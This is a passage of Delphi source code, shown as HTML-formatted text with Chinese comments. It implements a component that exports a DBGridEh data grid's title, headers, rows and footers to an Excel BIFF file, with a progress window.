{输出Excel标题}<BR>&nbsp;&nbsp;&nbsp; procedure WriteTitle;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {输出Excel列标题}<BR>&nbsp;&nbsp;&nbsp; procedure WriteDataCell;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {输出数据集内容}<BR>&nbsp;&nbsp;&nbsp; procedure WriteFooter;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {输出DBGridEh表脚}<BR>&nbsp;&nbsp;&nbsp; procedure SaveStream(aStream: TStream);<BR>&nbsp;&nbsp;&nbsp; procedure CreateProcessForm(AOwner: TComponent);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {生成进度窗体}<BR>&nbsp;&nbsp;&nbsp; {根据表格修改数据集字段顺序及字段中文标题}<BR>&nbsp;&nbsp;&nbsp; procedure SetDataSetCrossIndexDBGridEh;<BR>&nbsp; public<BR>&nbsp;&nbsp;&nbsp; constructor Create(AOwner: TComponent); override;<BR>&nbsp;&nbsp;&nbsp; destructor Destroy; override;<BR>&nbsp;&nbsp;&nbsp; procedure ExportToExcel; {输出Excel文件}<BR>&nbsp; published<BR>&nbsp;&nbsp;&nbsp; property DBGridEh: TDBGridEh read FDBGridEh write SetDBGridEh;<BR>&nbsp;&nbsp;&nbsp; property ShowProgress: Boolean read FShowProgress write SetShowProgress;<BR>&nbsp;&nbsp;&nbsp; property TitleName: TCaption read FTitleName write SetTitleName;<BR>&nbsp;&nbsp;&nbsp; property BeginDate: TCaption read FBeginDate write SetBeginDate;<BR>&nbsp;&nbsp;&nbsp; property EndDate: TCaption read FEndDate write SetEndDate;<BR>&nbsp;&nbsp;&nbsp; property UserName: TCaption read FUserName write SetUserName;<BR>&nbsp;&nbsp;&nbsp; property FileName: String read FFileName write SetFileName;<BR>&nbsp; end;</P>
<P>var<BR>&nbsp; CXlsBof: array[0..5] of Word = ($809, 8, 0, $10, 0, 0);<BR>&nbsp; CXlsEof: array[0..1] of Word = ($0A, 00);<BR>&nbsp; CXlsLabel: array[0..5] of Word = ($204, 0, 0, 0, 0, 0);<BR>&nbsp; CXlsNumber: array[0..4] of Word = ($203, 14, 0, 0, 0);<BR>&nbsp; CXlsRk: array[0..4] of Word = ($27E, 10, 0, 0, 0);<BR>&nbsp; CXlsBlank: array[0..4] of Word = ($201, 6, 0, 0, $17);</P>
<P>implementation<BR>{ TDBGridEhTitle }<BR></P>
<P>function TDBGridEhTitle.GetTitleColumn: integer;<BR>var<BR>&nbsp; i, ColumnCount: integer;<BR>begin<BR>&nbsp; ColumnCount := 0;<BR>&nbsp; for i := 0 to DBGridEh.Columns.Count - 1 do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; if DBGridEh.Columns[i].Visible then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inc(ColumnCount);<BR>&nbsp; end;</P>
<P>&nbsp; Result := ColumnCount;<BR>end;</P>
<P>procedure TDBGridEhTitle.GetTitleData(var TitleCell: TTitleCell);<BR>var<BR>&nbsp; i, Row, Col: integer;<BR>&nbsp; Caption: String;<BR>begin<BR>&nbsp; FColumnCount := GetTitleColumn;<BR>&nbsp; FRowCount := GetTitleRow;<BR>&nbsp; SetLength(TitleCell,FColumnCount,FRowCount);<BR>&nbsp; Row := 0;<BR>&nbsp; for i := 0 to DBGridEh.Columns.Count - 1 do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; if DBGridEh.Columns[i].Visible then<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Col := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Caption := DBGridEh.Columns[i].Title.Caption;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while POS('|', Caption) &gt; 0 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TitleCell[Row,Col] := Copy(Caption, 1, Pos('|',Caption)-1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Caption := Copy(Caption,Pos('|', Caption)+1, Length(Caption));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inc(Col);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TitleCell[Row, Col] := Caption;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inc(Row);<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end;<BR>end;</P>
<P>function TDBGridEhTitle.GetTitleRow: integer;<BR>var<BR>&nbsp; i, j: integer;<BR>&nbsp; MaxRow, Row: integer;<BR>begin<BR>&nbsp; MaxRow := 1;<BR>&nbsp; for i := 0 to DBGridEh.Columns.Count - 1 do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; Row := 1;<BR>&nbsp;&nbsp;&nbsp; for j := 0 to Length(DBGridEh.Columns[i].Title.Caption) do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if DBGridEh.Columns[i].Title.Caption[j] = '|' then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inc(Row);<BR>&nbsp;&nbsp;&nbsp; end;</P>
<P>&nbsp;&nbsp;&nbsp; if MaxRow &lt; Row then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MaxRow :=&nbsp; Row;<BR>&nbsp; end;</P>
<P>&nbsp; Result := MaxRow;<BR>end;</P>
<P>procedure TDBGridEhTitle.SetDBGridEh(const Value: TDBGridEh);<BR>begin<BR>&nbsp; FDBGridEh := Value;<BR>end;</P>
<P>{ TDBGridEhToExcel }</P>
<P>constructor TDBGridEhToExcel.Create(AOwner: TComponent);<BR>begin<BR>&nbsp; inherited Create(AOwner);<BR>&nbsp; FShowProgress := True;<BR>end;</P>
<P>procedure TDBGridEhToExcel.SetShowProgress(const Value: Boolean);<BR>begin<BR>&nbsp; FShowProgress := Value;<BR>end;</P>
<P>procedure TDBGridEhToExcel.SetDBGridEh(const Value: TDBGridEh);<BR>begin<BR>&nbsp; FDBGridEh := Value;<BR>end;</P>
<P>procedure TDBGridEhToExcel.SetBeginDate(const Value: TCaption);<BR>begin<BR>&nbsp; FBeginDate := Value;<BR>end;</P>
<P>procedure TDBGridEhToExcel.SetEndDate(const Value: TCaption);<BR>begin<BR>&nbsp; FEndDate := Value;<BR>end;</P>
<P>procedure TDBGridEhToExcel.SetTitleName(const Value: TCaption);<BR>begin<BR>&nbsp; FTitleName := Value;<BR>end;</P>
<P>procedure TDBGridEhToExcel.SetUserName(const Value: TCaption);<BR>begin<BR>&nbsp; FUserName := Value;<BR>end;</P>
<P>procedure TDBGridEhToExcel.SetFileName(const Value: String);<BR>begin<BR>&nbsp; FFileName := Value;<BR>end;</P>
<P>procedure TDBGridEhToExcel.IncColRow;<BR>begin<BR>&nbsp; if FCol = DBGridEh.DataSource.DataSet.FieldCount - 1 then<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; Inc(FRow);<BR>&nbsp;&nbsp;&nbsp; FCol := 0;<BR>&nbsp; end<BR>&nbsp; else<BR>&nbsp;&nbsp;&nbsp; Inc(FCol);<BR>end;</P>
<P>procedure TDBGridEhToExcel.WriteBlankCell;<BR>begin<BR>&nbsp; CXlsBlank[2] := FRow;<BR>&nbsp; CXlsBlank[3] := FCol;<BR>&nbsp; Stream.WriteBuffer(CXlsBlank, SizeOf(CXlsBlank));<BR>&nbsp; IncColRow;<BR>end;</P>
<P>procedure TDBGridEhToExcel.WriteFloatCell(const AValue: Double; const IncStatus: Boolean=True);<BR>begin<BR>&nbsp; CXlsNumber[2] := FRow;<BR>&nbsp; CXlsNumber[3] := FCol;<BR>&nbsp; Stream.WriteBuffer(CXlsNumber, SizeOf(CXlsNumber));<BR>&nbsp; Stream.WriteBuffer(AValue, 8);</P>
<P>&nbsp; if IncStatus then<BR>&nbsp;&nbsp;&nbsp; IncColRow;<BR>end;</P>
<P>procedure TDBGridEhToExcel.WriteIntegerCell(const AValue: Integer; const IncStatus: Boolean=True);<BR>var<BR>&nbsp; V: Integer;<BR>begin<BR>&nbsp; CXlsRk[2] := FRow;<BR>&nbsp; CXlsRk[3] := FCol;<BR>&nbsp; Stream.WriteBuffer(CXlsRk, SizeOf(CXlsRk));<BR>&nbsp; V := (AValue Shl 2) Or 2;<BR>&nbsp; Stream.WriteBuffer(V, 4);</P>
<P>&nbsp; if IncStatus then<BR>&nbsp;&nbsp;&nbsp; IncColRow;<BR>end;</P>
<P>procedure TDBGridEhToExcel.WriteStringCell(const AValue: string; const IncStatus: Boolean=True);<BR>var<BR>&nbsp; L: integer;<BR>begin<BR>&nbsp; L := Length(AValue);<BR>&nbsp; CXlsLabel[1] := 8 + L;<BR>&nbsp; CXlsLabel[2] := FRow;<BR>&nbsp; CXlsLabel[3] := FCol;<BR>&nbsp; CXlsLabel[5] := L;<BR>&nbsp; Stream.WriteBuffer(CXlsLabel, SizeOf(CXlsLabel));<BR>&nbsp; Stream.WriteBuffer(Pointer(AValue)^, L);</P>
<P>&nbsp; if IncStatus then<BR>&nbsp;&nbsp;&nbsp; IncColRow;<BR>end;</P>
<P>procedure TDBGridEhToExcel.WritePrefix;<BR>begin<BR>&nbsp; Stream.WriteBuffer(CXlsBof, SizeOf(CXlsBof));<BR>end;</P>
<P>procedure TDBGridEhToExcel.WriteSuffix;<BR>begin<BR>&nbsp; Stream.WriteBuffer(CXlsEof, SizeOf(CXlsEof));<BR>end;</P>
<P>procedure TDBGridEhToExcel.WriteHeader;<BR>var<BR>&nbsp; OpName, OpDate: String; <BR>begin<BR>&nbsp; //标题<BR>&nbsp; FCol := 3;<BR>&nbsp; WriteStringCell(TitleName,False);<BR>&nbsp; FCol := 0;</P>
<P>&nbsp; Inc(FRow);</P>
<P>&nbsp; if Trim(BeginDate) &lt;&gt; '' then<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; //开始日期<BR>&nbsp;&nbsp;&nbsp; FCol := 0;<BR>&nbsp;&nbsp;&nbsp; WriteStringCell(BeginDate,False);<BR>&nbsp;&nbsp;&nbsp; FCol := 0<BR>&nbsp; end;</P>
<P>&nbsp; if Trim(EndDate) &lt;&gt; '' then<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; //结束日期<BR>&nbsp;&nbsp;&nbsp; FCol := 5;<BR>&nbsp;&nbsp;&nbsp; WriteStringCell(EndDate,False);<BR>&nbsp;&nbsp;&nbsp; FCol := 0;<BR>&nbsp; end;</P>
<P>&nbsp; if (Trim(BeginDate) &lt;&gt; '') or (Trim(EndDate) &lt;&gt; '') then<BR>&nbsp;&nbsp;&nbsp; Inc(FRow);</P>
<P>&nbsp; //制表人<BR>&nbsp; OpName := '制表人：' + UserName;<BR>&nbsp; FCol := 0;<BR>&nbsp; WriteStringCell(OpName,False);<BR>&nbsp; FCol := 0;</P>
<P>&nbsp; //制表时间<BR>&nbsp; OpDate := '制表时间：' + DateTimeToStr(Now);<BR>&nbsp; FCol := 5;<BR>&nbsp; WriteStringCell(OpDate,False);<BR>&nbsp; FCol := 0;</P>
<P>&nbsp; Inc(FRow);&nbsp; <BR>end;</P>
<P>procedure TDBGridEhToExcel.WriteTitle;<BR>var<BR>&nbsp; i, j: integer;<BR>&nbsp; DBGridEhTitle: TDBGridEhTitle;<BR>&nbsp; TitleCell: TTitleCell;<BR>begin<BR>&nbsp; DBGridEhTitle := TDBGridEhTitle.Create;<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; DBGridEhTitle.DBGridEh := FDBGridEh;<BR>&nbsp;&nbsp;&nbsp; DBGridEhTitle.GetTitleData(TitleCell);</P>
<P>&nbsp;&nbsp;&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for i := 0 to DBGridEhTitle.RowCount - 1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for j := 0 to DBGridEhTitle.ColumnCount - 1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FCol := j;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteStringCell(TitleCell[j,i],False);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inc(FRow);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FCol := 0;<BR>&nbsp;&nbsp;&nbsp; except</P>
<P>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; finally<BR>&nbsp;&nbsp;&nbsp; DBGridEhTitle.Free;<BR>&nbsp; end;<BR>end;<BR></P>
<P>procedure TDBGridEhToExcel.WriteDataCell;<BR>var<BR>&nbsp; i: integer;<BR>begin<BR>&nbsp; DBGridEh.DataSource.DataSet.DisableControls;<BR>&nbsp; FBookMark := DBGridEh.DataSource.DataSet.GetBookmark;<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; DBGridEh.DataSource.DataSet.First;<BR>&nbsp;&nbsp;&nbsp; while not DBGridEh.DataSource.DataSet.Eof do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for i := 0 to DBGridEh.DataSource.DataSet.FieldCount - 1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if DBGridEh.DataSource.DataSet.Fields[i].IsNull or (not DBGridEh.DataSource.DataSet.Fields[i].Visible) then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteBlankCell<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case DBGridEh.DataSource.DataSet.Fields[i].DataType of<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ftSmallint, ftInteger, ftWord, ftAutoInc, ftBytes:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteIntegerCell(DBGridEh.DataSource.DataSet.Fields[i].AsInteger);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ftFloat, ftCurrency, ftBCD:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteFloatCell(DBGridEh.DataSource.DataSet.Fields[i].AsFloat);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if DBGridEh.DataSource.DataSet.Fields[i] Is TBlobfield then&nbsp; // 此类型的字段(图像等)暂无法读取显示<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteStringCell('')<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteStringCell(DBGridEh.DataSource.DataSet.Fields[i].AsString);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //显示进度条进度过程<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ShowProgress then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FGauge.Progress := DBGridEh.DataSource.DataSet.RecNo;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FGauge.Refresh;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DBGridEh.DataSource.DataSet.Next;<BR>&nbsp;&nbsp;&nbsp; end;</P>
<P>&nbsp; finally<BR>&nbsp;&nbsp;&nbsp; if DBGridEh.DataSource.DataSet.BookmarkValid(FBookMark) then<BR>&nbsp;&nbsp;&nbsp; DBGridEh.DataSource.DataSet.GotoBookmark(FBookMark);</P>
<P>&nbsp;&nbsp;&nbsp; DBGridEh.DataSource.DataSet.EnableControls;<BR>&nbsp; end;<BR>end;</P>
<P>procedure TDBGridEhToExcel.WriteFooter;<BR>var<BR>&nbsp; i, j: integer;<BR>begin<BR>&nbsp; if DBGridEh.FooterRowCount = 0 then exit;</P>
<P>&nbsp; FCol := 0;<BR>&nbsp; if DBGridEh.FooterRowCount = 1 then<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; for i := 0 to DBGridEh.Columns.Count - 1 do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if DBGridEh.Columns[i].Visible then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteStringCell(DBGridEh.Columns[i].Footer.Value,False);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inc(FCol);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end<BR>&nbsp; else if DBGridEh.FooterRowCount &gt; 1 then<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; for i := 0 to DBGridEh.Columns.Count - 1 do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if DBGridEh.Columns[i].Visible then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for j := 0 to DBGridEh.Columns[i].Footers.Count - 1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteStringCell(DBGridEh.Columns[i].Footers[j].Value ,False);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inc(FRow);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inc(FCol);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FRow := FRow - DBGridEh.Columns[i].Footers.Count;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end;<BR>&nbsp; FCol := 0;<BR>end;</P>
<P>procedure TDBGridEhToExcel.SaveStream(aStream: TStream);<BR>begin<BR>&nbsp; FCol := 0;<BR>&nbsp; FRow := 0;<BR>&nbsp; Stream := aStream;</P>
<P>&nbsp; //输出前缀<BR>&nbsp; WritePrefix;</P>
<P>&nbsp; //输出表格标题<BR>&nbsp; WriteHeader;</P>
<P>&nbsp; //输出列标题<BR>&nbsp; WriteTitle;</P>
<P>&nbsp; //输出数据集内容<BR>&nbsp; WriteDataCell;</P>
<P>&nbsp; //输出DBGridEh表脚<BR>&nbsp; WriteFooter;</P>
<P>&nbsp; //输出后缀<BR>&nbsp; WriteSuffix;<BR>end;</P>
<P>procedure TDBGridEhToExcel.ExportToExcel;<BR>var<BR>&nbsp; FileStream: TFileStream;<BR>&nbsp; Msg: String;<BR>begin<BR>&nbsp; //如果数据集为空或没有打开则退出<BR>&nbsp; if (DBGridEh.DataSource.DataSet.IsEmpty) or (not DBGridEh.DataSource.DataSet.Active) then<BR>&nbsp;&nbsp;&nbsp; exit;</P>
<P>&nbsp; //如果保存的文件名为空则退出 <BR>&nbsp; if Trim(FileName) = '' then<BR>&nbsp;&nbsp;&nbsp; exit;<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp; //根据表格修改数据集字段顺序及字段中文标题<BR>&nbsp; SetDataSetCrossIndexDBGridEh;</P>
<P>&nbsp; Screen.Cursor := crHourGlass;<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if FileExists(FileName) then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Msg := '已存在文件（' + FileName + '），是否覆盖？';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Application.MessageBox(PChar(Msg),'提示',MB_YESNO+MB_ICONQUESTION+MB_DEFBUTTON2) = IDYES then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //删除文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DeleteFile(FileName)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //显示进度窗体<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ShowProgress then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CreateProcessForm(nil);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FileStream := TFileStream.Create(FileName, fmCreate);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //输出文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SaveStream(FileStream);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FileStream.Free;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //打开Excel文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShellExecute(0, 'Open', PChar(FileName), nil, nil, SW_SHOW);<BR>&nbsp;&nbsp;&nbsp; except</P>
<P>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; finally<BR>&nbsp;&nbsp;&nbsp; if ShowProgress then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FreeAndNil(FProgressForm);<BR>&nbsp;&nbsp;&nbsp; Screen.Cursor := crDefault;<BR>&nbsp; end;<BR>end;</P>
<P>destructor TDBGridEhToExcel.Destroy;<BR>begin<BR>&nbsp; inherited Destroy;<BR>end;</P>
<P>procedure TDBGridEhToExcel.CreateProcessForm(AOwner: TComponent);<BR>var<BR>&nbsp; Panel: TPanel;<BR>&nbsp; Prompt: TLabel;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {提示的标签}<BR>begin<BR>&nbsp; if Assigned(FProgressForm) then<BR>&nbsp;&nbsp;&nbsp; exit;</P>
<P>&nbsp; FProgressForm := TForm.Create(AOwner);<BR>&nbsp; with FProgressForm do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Font.Name := '宋体';&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {设置字体}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Font.Size := 9;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BorderStyle := bsNone;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Width := 300;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Height := 100;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BorderWidth := 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Color := clBlack;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Position := poScreenCenter;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Panel := TPanel.Create(FProgressForm);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; with Panel do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parent := FProgressForm;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Align := alClient;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BevelInner := bvNone;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BevelOuter := bvRaised;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Caption := '';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;</P>
